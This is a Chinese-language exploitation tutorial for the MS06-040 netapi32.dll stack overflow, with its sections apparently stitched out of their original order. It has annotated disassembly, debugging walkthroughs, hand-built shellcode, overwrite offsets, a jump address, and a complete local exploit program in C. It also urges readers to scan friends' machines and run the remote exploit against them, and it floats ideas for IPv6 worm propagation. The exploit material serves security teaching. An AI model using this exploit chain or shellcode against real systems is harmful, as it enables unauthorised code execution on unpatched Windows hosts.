EBP的恢复稍微复杂一点。虽然栈顶和栈底的地址是动态的,每次调用都不一样,但是前一个函数开的栈空间大小是一定的,这取决于函数内部变量的大小。也就是说虽然EBP和ESP的内容每次调用都不一样,但是EBP和ESP的差值在每次调用时是肯定一样的,而ESP在这里并没有被破坏掉,我们就可以通过ESP的值和栈空间的大小计算出EBP的值,并在shellcode退出前恢复这个值。
分析完了,用OLLYDBG调试几遍,看清出EBP和ESP之间的关系,就可以修改一下shellcode了。
由于调用图形函数会出问题,所以这里在shellcode里我们换一个函数调用,就是Beep()函数。这是kernel32.dll里的一个函数,它利用主板上的压电陶瓷片发声的函数,也就是说不管你有没有声卡和喇叭,它都会用机箱“嘀”的响一声的,熟悉DOS的朋友对这个函数不会陌生,那个年代声卡、音响这些东西对计算机来说还是很遥远的。这个函数有两个参数,一个指定发声的频率,一个指定发声持续的时间。如果你没用过,看下MSDN,别把频率设置到人耳朵听不到的地方去了。
最后我写出的用来让远程主机“嘀”一下并且可以正常返回的shellcode是这样的:
=======================================================================
#include
int main()
{
_asm{
mov ebp,esp
add bp,0x10 //recover ebp
pop ecx
push ebp
mov ebp ,esp
sub sp ,0x444
push eax
xor eax,eax
mov Ax , 0x444
push eax
xor eax,eax
mov Ax, 0x444
push eax
mov eax,0x7C837A77
call eax //call beep
pop eax
add sp,0x444
pop ebp
mov ecx ,0x7517F85B
jmp ecx
}
}
代码6: shellcode_beep.c
同样要注意函数地址与平台的关系。编译后提出shellcode放进前边的exploit里,剩下的就是欣赏远程的主机被我们“嘀”了!
在附件中我还给出了我找到的两个分别由EEYE和启明星辰出品的MS06-040扫描器,你可以试着找下周围有没有朋友有这个漏洞,然后就可以用我们的实验程序“嘀”他了。你也可以改一下“嘀”的音调或者“嘀”的时间,甚至根据半音之间的指数倍关系让你朋友的机器“嘀”出一首歌来,秀一下我们的研究成果,末了不要忘了善意的提示他打补丁。
到这里,本文全部的7节实验内容就全部结束了,能够实际动手一步一步跟我玩到现在的朋友一定体会到了开头的那句话的含义了吧。
To be the apostrophe which changed "Impossible" into "I'm possible"
如果你有足够的毅力和踏实的技术,在window里很多Impossible都会变成I’m possible,而这两者间往往就差那么巧妙的一撇!这一撇的巧妙正是我喜爱这种技术的根本。
3 展望篇
——山高月小,水落石出
大道不过二三四。然而在我看来,唯有跟进内存,盯着寄存器,被莫名其妙的问题反复郁闷之后最终成功的人,才有资格谈论“道”。下面就让我们拨开云雾去看看山高月小和水落石出的美景吧。
3.1 魔波,蠕虫现身!
不管是让远程的机器“嘀”一下,还是绑定command作为后门,或者磁盘格式化,这些在编程技术上是没有本质区别的。可能犇犇们的技术到了一定层次会有种高处不胜寒的寂寞感吧,就有人会写点东西让自己的程序利用漏洞在网络间自己复制传播,这就是蠕虫。
由于在XP SP2上MS06-040是不能被成功利用的,主要受害机器集中在WIN2000和XP低版本操作系统,所以受害机群较少。另外RPC调用需要使用139和445端口,这两个端口早在冲击波年代就被各大网关路由全面封杀过了,所以从网络角度讲,这次计算机风险还不致于引起拥塞瘫痪。
但是我个人认为,这次计算机风险还没有完全过去。因为蠕虫爆发时正值学校放假,可能当时影响并不大。现在高校开学,大量校园网用户无法出国更新补丁,所以仍应当提高警惕。
魔波的逆向分析我不想在这里占用篇幅了,本着学习研究提高技术的目的,我把魔波的shellcode部分放在了附件中,至于完整的代码和可执行的PE样本么,请原谅这里不方便公布,因为万一几个热血的朋友用这些资料搞出几个蠕虫变种来我可担当不起这个责任。
魔波的主要行为是开后门,把目标机变成能够被远控的“僵尸”机。这和冲击波那种纯粹以传播为目的的蠕虫小有不同。恰巧课题组有两位博士在做这方面研究,就大嘴巴替他们多说两句了。
目前蠕虫研究的主要思路是从网络行为上提取特征进行预警和控制。简单说,就是蠕虫在传播时会探测性的发出大量的扫描数据包,这会造成特定的数据包在网络中指数级的迅速增长,大量占用网络带宽。研究者通过实时监控网络情况,从网络流量中提取诸如协议种类、协议比重、流、时序等特征来进行检测。当发现蠕虫爆发时,可以根据蠕虫的传播形式建立数学模型进行预测和控制。一般在分析网络行为时会用到大量《随机过程》和《数理统计学》中的知识,比如用“隐马尔可夫链”来处理时间序列上的随机数据最近在这个领域应用的就挺火。在控制预测中一般会用“传染病”预测模型建立一套方程组给出预测和控制。如果你有兴趣,IEEE、ACM上可以找到很多paper,你不妨用EI或者SCI搜几个来看看。不过这类文章就是所谓的讲“道”的文章了,里边全是偏微分方程,基本上是见不到寄存器状态的。
另外一个比较新兴的研究领域就是在IPV6下研究蠕虫传播。从技术上讲,似乎和我们的实验还是没有质的区别,无非在shellcode中把Beep()调用换成IPV6的网络操作而已;从学术角度讲,似乎也没有大的区别,还是传染病预测理论么。其实不然:IPV4和IPV6一个重要的区别是地址空间的增加,在稀疏的地址空间里如果还像传统蠕虫那样随机扫描目标主机来感染的话,那么建立数学模型预测一下会发现,两种协议下被感染主机数量的曲线形状几乎是一样的,都是类指数曲线,但时间轴坐标会完全不同,感染进度在IPV4下是按秒和分钟来计算的,而IPV6下是XXXX年!
当然,理论上预测出的传播困难在我看来也是可以促进hack技术的进步的。下一代在IPV6蠕虫在传播技术上必需有新的创意,发现目标主机将是一个难点。随机扫描是不可取的,可以尝试别的技术和利用别的层次的协议,比如利用DNS和ARP上的主机信息去传播。
当IPV6蠕虫真的出现的时候,传播模型当然也会有很大变化,又可以涌现出许多新的学术研究成果了,真的是在攻防中共同进步啊。
这方面的资料可以参看课题组的博士刚刚在计算机学报8月安专刊上发表的文章《IPv6网络中蠕虫传播模型及分析》,他们是这方面的专家。
3.2 补丁,无洞可钻?
享受了溢出的快感之后,难道你不想看看微软补丁里究竟修改了什么吗?我在附件中给出了补丁前后的不同版本的netapi32.dll。用IDA看一下,在做长度检查时,已经由补丁前的限制0x411改成了补丁后的0x208。XP SP2的补丁前后的DLL我也给出,你们不妨也去看看有哪些变动。MS06-040中除了NetpwPathCanonicalize()还有其它问题,这里不再讨论,有兴趣的可以参考0x557上面的分析。
有钻洞的能力还要有洞可钻才行,否则补丁过后虫虫不是没有活路了。这里我想谈谈怎么挖掘0day。
0day是指能被成功利用,而微软官方并不知道或知道并未公布的漏洞。掌握一个0day,你就几乎可以所向披靡的随意hack全天下机器了。我们讨论的MS06-040在发布前无疑是一个被犇犇们玩弄于股掌之间的0day。不管是对hacker,对微软,对军方,对安全公司,0day都有很重要的意义。能够利用漏洞只是懂了一点技术的大鸟,能够发现0day的才是真正的犇犇。
其实在我们实验的基础上,把RPC溢出的代码略加改动,丰富一下IDL中的接口和函数的定义,你就可以拥有自己的RPC函数的漏洞发掘工具了。远程函数如果需要int的就给送long型,指针的就试点NULL之类的,字串的就用超长的往里塞,总之就是把所有可能引起错误的因素组合一下,一个一个的送进函数看反应。你可以编程把RPC能够CALL到的远程函数一个一个的测过去,如果发现崩溃的就用我们前面的调试方法跟进去看看崩溃的原因,结合栈和寄存器的状态确认下能不能利用,运气好了就会撞到0day啦。
从今年的《XCon 安全焦点信息安全技术峰会》上回来,有不少感慨。14位演讲者中涉及漏洞挖掘方法的就有四位。Funnyway和CoolQ在代码审计上的尝试让人看到了hacker的勇气,而Dave现场演示的RPC漏洞fuzz则直接关注于技术本身,最后来自微软的Adrian发表的对0day的看法,则强烈的激励着有志之士投身这个领域。下面就结合我个人的研究,谈谈我对这个领域的了解和看法。
其实上面谈的测试0day的方法就是工业界目前普遍采用的fuzz方法。Fuzz实际上就是软件工程中的黑箱测试。你可以对协议,对API,对软件进行这样的fuzz测试。fuzz方法的优点是没有误报,尽管可能有些运行错误并不能被成功利用;缺点是你无法穷举所有的输入,就算fuzz不出问题也无法证明一个系统是安全的。
学术界则偏向于用算法直接在程序的逻辑上寻找漏洞。这方面的方法和理论有很多,比如数据流分析,类型验证系统,边界检验系统,状态机系统等。这种方法的优点是可以搜索到程序流程中的所有路径,但缺点是非常容易误报。
半年前我曾经研究过一段时间代码级的漏洞挖掘,用的方法大概也是上面列出的这些静态分析技术,并且实现了一个分析PHP脚本中SQL注入漏洞的挖掘工具的demo版本。研究过后深深觉得代码的静态分析理论要想在工业上运用还有很长的路要走,突出的问题在于大量的误报。个人认为,所有这方面理论都面临同样一个棘手的问题:就是在处理程序逻辑中由动态因素引起的复杂的条件分支和循环时,静态分析的天然缺陷。静态分析算法要想取得实质性的突破必须面对“彻底读懂”程序逻辑的挑战,这在形式语言上实际涉及到了上下文相关文法,而编译理论和状态机理论只发展到解释上下文无关文法的阶段。
如果代码静态分析技术真的在文法的解释上有所突破,那么从数学上证明一个软件没有缺陷将成为可能!这种进步不光是在漏洞挖掘上的进步,更重要的是计算机背后的形式语言和逻辑学的飞跃——这可能将是能和莱布尼兹、歌德尔、布尔、图灵、冯诺伊曼那一票逻辑大师的贡献相媲美的成就——乔姆斯基的文法体系出台后的这50多年里,虽然编译理论和技术蓬勃发展,但时至今日,计算机能“读懂”的语言始终局限于上下文无关文法。展望一下计算机能处理上下文相关文法甚至图灵机的那一天将会是一副什么样的美景吧:VC编译的时候不用运行就会告诉你哪里有死循环、哪里内存泄漏、哪里的指针在什么情况下会跑飞……编译器不只会检查语法问题,还会检查逻辑问题,软件工程中不论开发还是测试的压力都将大大减轻,整个计算机工业体系都将产生一次飞跃,当然我们的漏洞发掘工具也更智能——只是真的有那一天hacker们可能都要下岗了:)
好了,现在让我们立刻去体会把“Impossible”变成“I’m possible”的那一撇是怎么画进WINDOWS里的吧。
1 浅出篇
——欲善其事,先利其器
思考许久,为了让更多的人能够享受到实验的乐趣,我还是决定用一些篇幅来介绍几个在本章的实验中涉及到的逆向工具。没有工具的hacker如同没有枪的战士,欲善其事,先利其器!
1.1 逆向,永恒的主题
微软POST出的漏洞信息是没有技术细节的,一般都是几句简短的类似“XXXX可能存在允许远程代码执行的漏洞”之类的话。光靠这些是没有办法利用,渗透,入侵,控制的。详细技术资料很难搜到,因为那都是安全专家和hacker们辛苦的研究成果,当然今天讨论的MS06-040除外。要想第一时间研究和利用漏洞,你需要查出漏洞对应的补丁号,追查这个补丁patch了哪几个系统文件的哪几个部分,然后进行逆向分析。
MS06-040指的是windows系统的DLL文件netapi32.dll中的几个导出函数在字符串复制时有边界检查的缺陷。本文的实验和分析都基于WIN2000 SP4版本的操作系统,它也是这个漏洞危害最严重的操作系统版本。
在WIN2000 SP4中,Netapi32.dll位于系统目录c:/winnt/system32下,大小为309008字节。如果你的系统已经打过补丁,则该文件会被补丁替换,大小为309520字节,原先的漏洞DLL会备份到系统目录下的c:/winnt/$NtUninstallKB921883$ 里(我为您在本文的附加资料中提供了这个DLL)。Netapi32.dll中几个有溢出问题的函数,本文实验以目前讨论最多的NetpwPathCanonicalize()函数的溢出为例进行阐述。
Netapi32.dll库中第303个导出函数NetpwPathCanonicalize()用于格式化网络路径字符串, 它需要6个参数:
参数1:指向一个UNICODE字串的指针,用于生成路径字串的第二个部分
参数2:指向一个buffer的指针,用于接收格式化后的路径字串
参数3:指向一个数字的指针,标明参数2所指buffer的大小
参数4:指向一个UNICODE字串的指针,用于生成路径字串的第一个部分
参数5:指针,在漏洞利用中不起作用
参数6:标志位,必需为0
这个函数大体功能是把参数4所指的字串(以后简称4号串)连接上’/’作为路径分割,再连上参数1所指字串(后简称1号串),并将生成的这个新串拷回参数2所指的buffer,也就是返回给2号buffer如下形式的字串: 4号串 + ‘/’ + 1号串
该函数在格式化字符串时的函数调用CanonicalizePathName()使用WCSCPY()进行字符串拷贝时,边界检查有缺陷,可以被构造栈溢出。
NetpwPathCanonicalize()函数的细节资料是很难找到的,MSDN上没有任何介绍,甚至在GOOGLE上也只是在srvsvc的接口定义文件IDL里看到了函数声明。在这种情况下要利用这个函数只有靠自己逆向分析了。上面这些说明就是我用IDA把它反汇编后分析、总结出来的,在本小节中提前摆出来是为了让您在阅读后面这节的汇编代码时提前有一个全局观。
一定要坚信,求人不如靠自己。不管你是cracker还是hacker,不管你做外挂、做脱壳、做病毒分析、还是做exploit的开发人员,要获得第一手资料都离不开逆向技术。就算微软公布源码,逆向技术仍然是安全领域里永恒不变的主题。
1.2 IDA,迷宫的地图
在大体了解了漏洞的位置之后,我们需要进行调试,需要获得具体的栈空间信息以及漏洞被触发时的寄存器信息。进入一个PE文件就好像置身一个错综复杂的迷宫,光靠动态调试器的分析是远远不够的。IDA强大的静态分析和标注功能则是这个迷宫的地图,他能为你的调试导航。
下面我们就用IDA来看看这个神秘的NetpwPathCanonicalize()函数到底干什么用的。安装好了后,把我们的问题DLL直接丢进IDA,忽悠忽悠几下,它就分析出结构明确质量上乘的汇编代码了。这里要庆幸的是我们研究的是微软的系统API文件,用C语言编写并且没有任何加壳之类的保护,所以得到的结果如此优美,几乎所有的函数都自动标注好了。
我们直接去Exports窗口在最后几行找到我们需要分析的NetpwPathCanonicalize,双击就跳到了这个导出函数对应的代码部分,按下空格键汇编代码将以流程图的形式显示出来,给阅读者一个全局的把握。
指南针介绍到此为止,后面的分析就要靠人肉了。这个函数并不复杂,可以看到生成新串的过程实际是在CanonicalizePathName()内完成(.text:7517F856 call sub_7517FC68)。这个函数使用局部变量,在栈内开空间暂存新串,这块空间可被溢出。
具体说来,NetpwPathCanonicalize()在调用CanonicalizePathName()前的动作包括:
1.判断第6个参数是否为0,不为0则退出
2.判断第5个参数所指值是否为0,为0则进行一次NetpwPathType的验证调用
3.判断第4个参数所指值是否为0,若不为0则将所指字串放入NetpwPathType进行验证。
4.在这次验证中,如果4号串unicode长度超过0x103(字节长度为0x206),则返回0x7B (ERROR_INVALID_NAME),引起程序退出
5.验证接收buffer的大小是否为0,否则退出
6.调用CanonicalizePathName()函数
……
CanonicalizePathName()为实际发生溢出的函数,用IDA重点看一下这个函数:
============================ S U B R O U T I N E =============================
7517FC68 int __stdcall sub_ CanonicalizePathName (wchar_t *,wchar_t *,wchar_t *,int,int)
7517FC68 push ebp
7517FC69 mov ebp, esp
7517FC6B sub esp, 414h //开辟栈内空间,用于暂存生成的字符串
7517FC71 push ebx
7517FC72 push esi
7517FC73 xor esi, esi
7517FC75 push edi
7517FC76 cmp [ebp+arg_0], esi //判断4号串地址是否为空
7517FC79 mov edi, ds:__imp_wcslen
7517FC7F mov ebx, 411h
7517FC84 jz short loc_7517FCED
7517FC86 push [ebp+arg_0] //压入4号串
7517FC89 call edi ; __imp_wcslen //计算4号串的unicode长度,注意为字节长度的一 //半,这是导致边界检查被突破的根本原因,即 //用UNICODE检查边界,而栈空间是按字节开的
7517FC8B mov esi, eax
7517FC8D pop ecx
7517FC8E test esi, esi
7517FC90 jz short loc_7517FCF4
7517FC92 cmp esi, ebx
7517FC94 ja loc_7517FD3E //若越界则退出程序
7517FC9A push [ebp+arg_0] //4号串地址
7517FC9D lea eax, [ebp+var_414] //栈中暂存串起址
7517FCA3 push eax
7517FCA4 call ds:__imp_wcscpy //将4号串拷入栈中暂存串。虽然前面的边界 //检查有缺陷,似乎实际可以传入的4号串可以达 //到0x822字节,但是4号串在传入本函数前被 //NetpwPathType()提前检查过,按照前面的分析 //知道,四号串的长度不能超过0x206字节,所以 //光靠这里的检查缺陷还不足以通过4号串制造溢 //出
7517FCAA mov ax, [ebp+esi*2+var_416] //取出此刻暂存串(4号串)的最后两个字节,检 //查是否是斜杠
7517FCB2 pop ecx
7517FCB3 cmp ax, 5Ch //0x5C=92=ASCII(/)
7517FCB7 pop ecx
7517FCB8 jz short loc_7517FCD5
7517FCBA cmp ax, 2Fh //0x2F=47=ASCII(/)
7517FCBE jz short loc_7517FCD5
7517FCC0 lea eax, [ebp+var_414]
7517FCC6 push offset asc_751717B8 //压入斜杠的unicode
7517FCCB push eax
7517FCCC call ds:__imp_wcscat //把斜杠的unicode连接到栈中暂存串的末尾
7517FCD2 pop ecx
7517FCD3 inc esi //把斜杠的长度计入暂存串
7517FCD4 pop ecx
7517FCD5 mov eax, [ebp+arg_4] //取出1号串,类似的检查1号串的首字符是否是 //斜杠或反斜杠
7517FCD8 mov ax, [eax]
7517FCDB cmp ax, 5Ch
7517FCDF jz short loc_7517FCE7
7517FCE1 cmp ax, 2Fh
7517FCE5 jnz short loc_7517FCF4
7517FCE7 add [ebp+arg_4], 2
7517FCEB jmp short loc_7517FCF4
7517FCED mov [ebp+var_414], si
7517FCF4 push [ebp+arg_4] //1号串地址
7517FCF7 call edi ; __imp_wcslen
7517FCF9 add eax, esi //计算4号串长+斜杠长度+1号串长的大小
7517FCFB pop ecx
7517FCFC cmp eax, ebx
7517FCFE ja short loc_7517FD3E //第二次边界检查。从前面分析可以知道,只靠4号 //串是无法制造溢出的,但是1号串的传入没有任何限 //制,所以可以通过增加1号串的串长来溢出。栈 //空间为0x414,我们实际可传入的串总长可以达到 //0x828滴
7517FD00 push [ebp+arg_4] //1号串
7517FD03 lea eax, [ebp+var_414]
7517FD09 push eax
7517FD0A call ds:__imp_wcscat //将1号串连入栈中暂存串,生成最终的路径字串,这个 //调用导致了最终的栈溢出
7517FD10 pop ecx
…………
7517FD66 lea eax, [ebp+var_414]
7517FD6C push eax
7517FD6D push [ebp+arg_8]
7517FD70 call ds:__imp_wcscpy //将栈中的结果传回第二个参数所指的buffer
7517FD76 pop ecx
7517FD77 xor eax, eax
7517FD79 pop ecx
7517FD7A pop edi
7517FD7B pop esi
7517FD7C pop ebx
7517FD7D leave
7517FD7E retn 14h
========================= S U B R O U T I N E ==============================
代码1:netapi32.dll反汇编代码片断,完整代码可由附件中的DLL文件反汇编得到
如注释中所述,两次对栈中暂存串边界的限制都是unicode长度不能超过0x411,换算成字节长度就是0x822,而栈空间的大小是按字节开的0x414,这是边界检查失败的根本所在。
另外,4号串由于必须通过NetpwPathType()的验证才能传入CanonicalizePathName(),所以串长不能超过0x206字节,但是经过wcscat()没有长度限制的1号串之后,就可以成功的制造一个栈溢出了。
1.3 OLLYDBG,庖丁解牛
经过IDA的静态分析,下面我们来尝试一下动态调试这个函数,并触发这个溢出。首先要做的是load这个动态链接库,然后定位到NetpwPathCanonicalize()函数的地址,接着就可以调用这个漏洞函数了。
本地的溢出实验不一定非要找台有漏洞的机器。如果你的机器不是WIN2000 SP4或者是打过补丁的机器,去哪里找这个库文件前面已经说过了。
比如用下面这种形式调用:
==========================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char Trigger[40] = "NetpwPathCanonicalize";
……//function arg define
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
……//function arg init
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0);
FreeLibrary(LibHandle);
}
代码2 :DLL挂载,完整的代码位于附件local_exploit_040.c中
上述代码就是我们本地溢出实验代码的框架。你可以先按照前边分析的结果对参数随意的赋几个值试试。在我调试的过程中,VC编译后,如果函数参数传入“正确”,在执行时XP总会报check esp erro,不知道是不是我哪个参数没用对,但在远程溢出的RPC调用中是能够正常执行的。
下面来调试一下这个BIN,用OLLYDBG去把netapi32.dll执行的细节搞清楚。朋友们,你们准备好领略庖丁解牛的感觉了吗?
用VC编译链接生成BIN运行是会出错的,不要紧,我们用OLLYDBG打开可执行文件。默认的加载方式会在程序的入口地方停下。我们调试的可执行文件应该是VC生成的debug版本,所以应该停在PE的加载区,注意这里可不是我们的main()函数哦。
如果你有耐性的下,不妨按F8单步下去,顺便了解一下WINDOWS加载PE的过程,看看在main()之前都干了点什么。
如图1,离入口不远处,会有GetCommandLineA的调用,后面会有三个对EDX、ECX、EAX的push操作,这是在为main()函数传递参数。之后的那个call就是我们的main()了。当F8单步到这个call,你需要F7单步进入main()函数。
进入main()之后你会看到OLLDBG已经为我们识别出标准的系统API调用并自动做了注释。像C代码里写的那样,这里依次调用了LoadLibarayA、GetProcessAddress、memset等之后连续进行六次push又调了一个函数,这个对应的就是(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0)的汇编形式了。函数调用的参数入栈顺序是从右向左,所以第一个压的是0。如果你第一次动态调试的话,不妨看看栈里压入参数的值,在到对应的内存位置去看看内存里的内容,自我感觉这样的调试是理解计算机系统底层最直接,最有效的方式。
CPU执行到这个call以后,我们同样用F7进入这个函数,可以看到代码区从0x004xxxxx切换到了0x7xxxxxxx,也就是说这时程序从我们的可执行文件的代码区跳到了netapi32.dll中NetpwPathCanonicalize函数的代码部分。
本地溢出之main()函数入口
继续单步执行,观察寄存器的值,观察每一个跳转的执行,结合上一节中你用IDA的分析,验证下当时自己对程序流程的掌握是否正确。
NetpwPathCanonicalize中在两次对NetpwPathType的调用后,那个连续压了5个参数的函数调用就是漏洞的根源,CanonicalizePathName()函数,这里当然要进入仔细观察了。
连续跟踪几次之后,相信您对NetpwPathCanonicalize和CanonicalizePathName里的程序流程已经比较熟悉了,对上一节中静态分析的结果也有了新的认识。好,现在我们稍微回忆下已有的知识,设计一下怎样制造溢出。
根据前边分析的结果,如果我们这样来初始化传入的字串:
4号串 -> 0x12 byte 赋为字符’4’
程序添加的路径分割 -> 0x2 byte Unicode(/) 0x5c00
1号串填充物 -> 0x400 byte 赋为字符’1’
那么这414个字节刚好撑满CanonicalizePathName()函数为自己开的栈空间,1号串往后的四个字节是EBP,再紧接着就是返回地址,也就是说1号串第0x404~0x407的内容是函数返回后EIP的内容!
我们给1号串0x400~0x407位置赋为字符’q’,用OLLDBG看看栈中的情况和我们分析的一样不。CanonicalizePathName在返回时寄存器状态如图2
函数返回前的溢出情况
在函数返回前,EBP的地址为0x0012F21C,其内容已经被我们的填充字符准确覆盖为0x71717171(0x37为‘q’的ASCII),后面的函数返回地址也按照我们预想的被覆盖为0x71717171。返回后EIP将指向0x71717171,我们已经可以控制函数返回时CPU的取址位置了!
稍微总结一下,通过动态跟踪,确认了我们静态分析的结果,了解到栈状态和寄存器状态的细节后,我们就可以通过在传入的字符串的特定位置准确的更改函数返回地址,让CanonicalizePathName在返回的时候跳到一个我们指定的地方去接着执行指令——如果那个地方放着我们可爱的shellcode的话……
1.4 shellcode DIY
一般利用字符串函数溢出的shellcode要求不能有0出现,在这个实验中我们利用的是unicode的字符复制函数,字符串结尾是两个字节的0,所以这条限制会放宽一点——shellcode中不能出现连续的两个字节的0。
了解到这些基本要求后,我们开始我们自己的shellcode DIY吧。
这个shellcode的功能是弹出一个MessageBox并显示“failwest”。
==========================================================================
#include
#include
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166//push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D504EA // address should be reset in different OS
call eax //call MessageboxA
push 0
mov eax,0x7C81CDDA
call eax //call exit(0)
}
}
代码3: shellcode_box.c
为什么要开0x440那么大的栈空间呢,我们根本用不了这么多空间呀?这个问题先卖个关子,我们后面讨论shellcode布置的时候在来回答。
注意MessageBoxA()的入口地址0x77D504EA和exit()函数的入口地址0x7C81CDDA 根据不同的机器、不同的操作系统和不同的补丁情况,可能会不同。自己在调试的时候需要查看一下本机的具体地址,要远程溢出的话当然还要查查目标主机的库信息。最简单的就是用VC提供的Tools里的depends工具查看一下。比如在我实验的系统中打开depends,随便丢个BIN进去看下user32.dll和kernel32.dll的加载情况:
shellcode中函数地址的计算
这里user32.dll的加载基址是0x77D10000,MessageBoxA在其内的offeset是0x000404EA,那么它在内存中的RVA地址应该是这两者之和0x77D504EA,类似的也可以计算出kernel32.dll中exit()的RVA。
用VC把这段程序编译链接运行测试,看到框框跳出来之后,我们可以用IDA之类的工具提取出编译过后的机器码。我这里用的是ultraedit,按照16进制形式打开可执行文件,直接查找我们代码中调用MessageBoxA的地址:EA04D577定位到编译后的机器码(注意内存中word字节的反序关系),当然如果你熟悉PE格式的话直接ctr+g跳到0x1000的代码段里去找代码也行。
找到后对着这一堆机器码我们怎么知道哪里是开始哪里是结束呢?难道去查intel的指令集吗?这里教一个我个人用的土办法:一般在shellcode汇编代码的开头和结尾我都会加上几十个NOP指令,到了机器码里,两大段0x90字节之间的那部分自然就是shellcode了。
如图4,在ultraedit里选中我们的shellcode按16进制复制出来,把格式整理下就得到我们自己制作的shellcode了。
提取shellcode
有了淹没返回地址的偏移,有了自己制作的shellcode,接下来要做的就是怎么在内存中组织这些内容了,这也是栈溢出最精华的地方。
后面的玩法应该有很多,比如:
玩法A:搜寻jump esp,在esp后面布置shellcode
玩法B:搜寻jump ebp, 在ebp的位置填入一个比较准确的shellcode地址
玩法C:另类玩法,利用其他寄存器,SEH利用等
函数返回后的溢出情况
应当注意的是,如果采用玩法A,在代码中我们看到函数退出前的字串WSCPY()的目的地址存在EBP+10的地方,而返回指令是retn 14h,也就是说返回后ESP在EBP+14的地方,在ESP处写shellcode意味着WSCPY()的目的buf地址也被覆盖。
在前边动态调试的例子中,返回后的状态如图5所示:EBP为0012F21C;ESP为0012F238;那个WSCPY()的目的地址就在EBP+10=0012F22C的地方,恰好位于返回地址和ESP之间。这下清楚了,欲淹ESP,必先淹了目的拷贝地址。
若没有注意这里,毛手毛脚的直接淹到ESP,WSCPY()函数的目的地址被覆盖成无效内存地址,在到达函数返回之前就会引起内存访问错误,没办法把程序流程转移到shellcode中。当然这种情况也是可以利用的,比如在淹没串中填写一个有效的地址,将大段字串copy到内存中一个指定的地方。这时shellcode在内存中有两个copy可以应用,一个是栈中刚释放出来的这部分内容,另一部分是刚刚拷到目的地址的内容。我们可以在jmp esp之后跳到栈区也可以直接去那块新写入shellcode的区域执行,这感觉有点堆溢出的意思了。
我在尝试这种方法的时候发现不是很稳定,因为:首先是地址不能随便选,写到不可读的地方会崩掉;其次内存中冒冒然写上这么大一堆东西,很容易冲掉有用的数据引起后面一些不确定的后果;最后写入的地方很可能在执行别的函数的过程中被重写,导致shellcode被破坏。不过这里是在做溢出实验,不是在开发软件,稳定的事先放一放吧,我最终还是实现了方案A.。
再来看方案B,大概是采用这么一种布置形式:
(内存低址)栈顶-------nnnnnnnnnnnnnnnnnssssssssssssssnn(ebp)(ret)------栈底(内存高址)
只要在ret的地方填入进程空间里搜索到的jump ebp指令地址,在ebp的位置填入相对比较准确的shellcode地址就行(落入nop区域)。
这种方案在本地溢出中的实现比方案A难度略低,唯一一个导致不稳定的因素就是在EBP里边填的地址要落在我们的shellcode前填充的NOP区域里。在本地溢出中这点是比较容易实现的。当我在远程溢出中实践这种方案的时候,发现栈状态是动态的,栈的变化范围远大于NOP填充的几百个字节。这样的溢出好比买六合彩撞大运,EBP里的地址要打到shellcode上才能成功。所以方案B只有在本地溢出中可行,有教学意义但没有实战意义。
后面的例子我使用的是方案C。因为在调试过程中我发现程序为了保证堆栈平衡,执行了若干次pop ecx,而在函数返回前,ecx的内容恰巧被写成了栈中暂存串的起址。于是我们在返回地址中填写一个netapi32.dll进程空间内的call ecx的指令地址,跳两次之后,EIP会奔到暂存串的起址!这个方法虽然没有通用性,但在本例中却无疑是最最稳定,最最保险的做法。可见,在实战过程中具体问题具体分析是很重要的。
好,现在稍微整理一下思路:函数返回时ecx指向栈中暂存串地址,这个暂存串的形式是:4号串 + ‘/’ + 1号串。我们在1号串中放shellcode,在4号串尾部淹没返回地址,填写一个jmp ecx的地址,那么……
综上,我们采用方案C的做法来exploit!
开始之前回答下这节开头提出的问题,shellcode为什么要开那么大的栈空间呢?因为我们的exploit方案是把EIP引到栈区执行shellcode。函数返回后shellcode刚好被放在栈顶之上一点点的地方,这部分内存空间在系统看来内容已经没有用,是可以随便写的。所以一旦遇到函数调用,栈顶就会向上浮动,把我们放shellcode的地方当数据区涂鸦似的胡改一通,破坏到我们的指令。所以我干脆提前把栈顶升起来,用栈把shellcode保护起来,这下我们的shellcode无论如何都不会被破坏到了。
在来看看实际中我们exploit的细节,栈中的情况是这样的:
Ebp-0x414 0xFC字节的4号串,内容为前后都被nop包围的shellcode
0x2字节的程序连上的unicode字符‘/’
0x316字节的1号串,内容为 0x90
Ebp 0x4字节的0x90,对应为1号串的0x317~0x31A字节
Eip 0x751852F9,从netapi32.dll里一条call ecx指令的地址
至于eip覆盖值call ecx的地址0x751852F9的获得,你可以自己编程搜索内存,简单的做法就是用OLLYDBG的插件Ollyuni。
最终的exploit是这样的:
=====================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
#define STACK_SPACE 0x31A
char shellcode[]=
"/x66/x81/xEC/x40/x04/x33/xDB/x53/x68/x77/x65/x73/x74/x68/x66/x61"
"/x69/x6C/x8B/xC4/x53/x50/x50/x53/xB8"
"/xEA/x04/xD5/x77" // user32.dll
"/xFF/xD0/x6A/x00/xB8"
"/xDA/xCD/x81/x7C" //exit()
"/xFF/xD0";
int main()
{
char arg_1[0x320];
char arg_2[0x440];
int arg_3=0x440;
long arg_5=44;
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char Trigger[40] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
memset(arg_1,0,sizeof(arg_1));
memset(arg_2,0,sizeof(arg_2));
memset(arg_4,0,sizeof(arg_4));
memset(arg_1,0x90,sizeof(arg_1)-4);
memset(arg_4,0x90,sizeof(arg_4)-4);//string should be cut by 2 bytes 0
memcpy(arg_4+0x40,shellcode,0x28);
arg_1[STACK_SPACE+0]=0xF9;
arg_1[STACK_SPACE+1]=0x52;
arg_1[STACK_SPACE+2]=0x18;
arg_1[STACK_SPACE+3]=0x75; //eip
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
代码4: local_exploit_040.c
本地溢出成功
